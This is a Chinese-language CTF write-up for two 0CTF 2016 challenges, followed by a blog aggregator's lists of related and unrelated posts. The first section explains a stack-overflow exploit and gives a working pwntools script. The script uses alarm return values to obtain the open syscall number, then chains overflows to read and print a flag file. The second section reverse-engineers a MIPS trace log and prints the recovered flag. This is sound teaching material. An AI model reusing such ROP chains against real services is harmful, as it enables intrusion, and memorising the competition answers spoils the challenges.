0ctf-pwn_warmup-re_mips4
Warmup(2)
程序很小,读写操作直接通过int 80h系统调用完成。栈溢出漏洞很明显,能溢出20字节。提示由于沙盒的保护只能来读取/home/warmup/flag文件。那么思路就很清楚了,打开flag文件,读取flag文件到内存,写内存到标准输出。现在遇到了第一个问题,打开文件的系统调用是5,系统调用号要放在eax中,如何得到这个系统调用号以及如何得到后要立马执行系统调用打开文件,读文件到内存。
最初想的是sys_read会返回读取的字节数,sys_write会返回写的字节数,我们可以控制读写的字节数为5那么读写返回后eax就是5了,这个时候立马返回去读文件,但是发现并不能,栈的结构不对。
最后查了下alarm的返回值,发现如果连续两次调用alarm的话,第二次alarm返回第一次订的闹钟剩余的时间,因为程序执行时间很短,如果第一次alarm(5)的话,第二次alarm返回值将是5,成功得到系统调用号。这个时候就可以打开文件,并能控制返回地址到程序的开始,这样再溢出一次能读到flag,再最后一次溢出能写flag到标准输出,就能得到flag了。

exp version 2:
from pwn import *
import time
context.log_level = 'debug'
s = remote('127.0.0.1', 10001)
#s = remote('202.120.7.207', 52608) '''
time.sleep(1)
print 'warmup pid is %d' % pwnlib.util.proc.pidof('warmup')[0]
raw_input('go!')
''' read = 0x0804811D
write = 0x08048135
start = 0x080480D8
f = 0x08049200
tmp = 0x08049240
flag = 0x08049300
stackinc = 0x080481B8
openf = 0x08048122 s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(read) + p32(start) + p32(0) + p32(f) + p32(20))
s.send('/home/warmup/flag\x00') s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start) + p32(0))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start) + p32(0) + p32(openf) + p32(start) + p32(f))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(start))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(read) + p32(stackinc) + p32(0) + p32(tmp) + p32(20))
s.send('aaaaa') s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(read) + p32(start) + p32(3) + p32(flag) + p32(30))
s.recvuntil('Welcome to 0CTF 2016!\n')
s.send('a'*32 + p32(write) + p32(start) + p32(1) + p32(flag) + p32(30))
s.interactive()
Trace(4)
一道mips的逆向题,给的tracelog,刚开始没仔细看汇编,一直想办法模拟执行这些代码,也尝试去查了查Unicorn使用方法,感觉很强大,但是并没有用,感觉Unicorn更像是给了shellcode后模拟执行shellcode的。
一直想知道这个tracelog使用什么生成的,看着别扭(像是intel风格的汇编),谁能告诉我?虽然没接触过mips汇编,但是查了下函数调用约定,就是想看看各个寄存器的作用,以及函数prologue和epilogue的样子,拿着一份mips指令集手册就开始分析代码,看了大概1000多行(其实很快因为大段的在循环),看到代码里面有重复调用一个函数,就决定根据函数prologue和epilogue的样子来分析下这里面总共有多少函数,每个函数的地址空间,每个函数调用了多少次。分析结果发现:2万多行的代码里,总共有3个函数,其中一个函数递归调用了131次。

地址空间0x004007d0-0x0040084c是一个函数总共调用了一次,作用是初始化内存,形成a-zA-Z0-9{}flag连续内存;地址空间0x00400858-0x004009c8是一个函数调用了131次,而且是在递归调用,分析后是在对前面形成的内存中的字符进行了排序;地址空间
0x00400770-0x004007c4是一个函数,是strlen()的实现,调用了三次。
在分析完0x00400858-0x004009c8是在递归地对内存字符中进行递归排序后,就打算根据tracelog模拟整个排序过程,模拟完的结果:

在里面'f1'代表flag的第一位,'f2'代表flag的第二位,一次类推。其实这个时候已经李最后的flag已经很近了,在主函数的最后,判断了排序好的各个字节之间的关系,我也模拟了一遍。

这下好了,就能确定每一个字节的内容了,flag就是:0ctf{tr135m1k5l96551s9l5r}
代码太丑,就不贴了。
附:
Mips指令集参考:http://www.mrc.uidaho.edu/mrc/people/jff/digital/MIPSir.html
Mips寄存器:

Mips Prologue and epilogue

0ctf-pwn_warmup-re_mips4的更多相关文章
- 0ctf – mobile – boomshakalaka writeup
作为一个web狗,一道web都没做出来Orz...做出来一道apk,纪念一下在ctf中做出的第一道apk... 首先在模拟器或者真机中安装一下apk看到是一个cocos2dx的打飞机游戏 根据题目提示 ...
- Observe the 0CTF & 0CON
I went to observe 0CTF and 0CON on 4.22 ~ 4.24 and just come back. Not only do I learn a lot from th ...
- 0CTF 2017 部分Web的某些不一样的思路
洒家参加了0CTF 2017,做了一些题目.赛后过了好几天,看网上已经有了一些写得不错的Writeup,这里就写一写洒家的一些不一样的思路. 一些不错的Writeup https://ctftime. ...
- 刷题记录:[0CTF 2016]piapiapia
目录 刷题记录:[0CTF 2016]piapiapia 一.涉及知识点 1.数组绕过正则及相关 2.改变序列化字符串长度导致反序列化漏洞 二.解题方法 刷题记录:[0CTF 2016]piapiap ...
- 0ctf 2019 zero_task
一个条件竞争的洞,以前没有接触过.比赛完研究了wp复现下. new_thread结构体如下 new_thread: thread_area size0x8 thread_area+0x8 size 0 ...
- 0CTF题中的神奇宝贝WP
前言: 今天被尘少拉去做题 然后做到一个脑洞打开的题..... 神奇宝贝!?!? 正文: 一开始来到这=-= 弱密码猜测:admin admin 验证码用calc去算 然后成功进入 第一次去做神奇宝贝 ...
- 0ctf签到题
签到题: 题目提示: flag在IRC聊天室里 开启weechat ┌─[root@sch01ar]─[~] └──╼ #weechat 创建服务器 /server add freenode8001 ...
- 0ctf 2017 kernel pwn knote write up
UAF due to using hlist_add_behind() without checking. There is a pair locker(mutex_lock) at delete_n ...
- BUUCTF |[0CTF 2016]piapiapia
步骤: nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere ...
- [0CTF 2016]piapiapia{PHP反序列化漏洞(PHP对象注入)}
先上学习链接: https://www.freebuf.com/column/202607.html https://www.cnblogs.com/ichunqiu/p/10484832.html ...
随机推荐
- autoprefixer安装或者里sass的$mixin处理浏览器前缀
Autoprefixer是一个后处理程序,不象Sass以及Stylus之类的预处理器.它适用于普通的CSS,可以实现css3代码自动补全.也可以轻松跟Sass,LESS及Stylus集成,在CSS编译 ...
- hdu 5631 Rikka with Graph(图)
n个点最少要n-1条边才能连通,可以删除一条边,最多删除2条边,然后枚举删除的1条边或2条边,用并查集判断是否连通,时间复杂度为O(n^3) 这边犯了个错误, for(int i=0;i<N;i ...
- hdu 5626 Clarke and points
Problem Description Clarke is a patient with multiple personality disorder. One day he turned into a ...
- XMind快捷键可以自定义吗
在使用快捷键的时候,不知你是否有过这样的疑问,为什么这个操作的快捷键一定要是这个呢,我为什么不能换成其他的按键呢.其实这些在XMind思维导图中都是可以更改的,用户可以根据自己的操作习惯来定义快捷键命 ...
- Android Studio虚拟机配置虚拟键盘
1. watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvY2pjMjExMzIy/font/5a6L5L2T/fontsize/400/fill/I0JBQkF ...
- 分享一个BUG
这段时间在做改版的时候,遇上一个非常莫名其妙的bug,最终是被我的一个后端同事给发现和指正的.这个bug就是,一个js方法在ie7和ie8下面报 SCRIPT:1010 缺少标示符的错误.这个错误我百 ...
- Android图片下载到本地,系统图库不显示
可能大家都知道我们下载图片到Android手机的时候,然后调用系统图库打开图片,提示"找不到指定项". 那是因为我们插入的图片还没有更新的缘故,所以只要将图片插入系统图库,之后发条 ...
- java web 之 WebRoot和WebContent目录
WebRoot和WebContent都是程序的根文件夹,无本质区别,一下是两者的共同点和不同点: 共同点:都有一个WEB-INF文件夹,其下文件不可直接访问: WEB-INF是安全目录,所谓安全,就是 ...
- Eclipse编译Arduino程序不能使用串口函数Serial.begin解决办法
在Arduino官方的编译器当中Serial.begin(9600);初始化语句是可以直接使用的,而到Eclipse当中,同样的语句却不能用了.会出现下面的问题: 显然,这是Eclipse没有找到Se ...
- css3弹性盒模型(Flexbox)
Flexbox是布局模块,而不是一个简单的属性,它包含父元素和子元素的属性. Flexbox布局的主体思想是似的元素可以改变大小以适应可用空间,当可用空间变大,Flex元素将伸展大小以填充可用空间,当 ...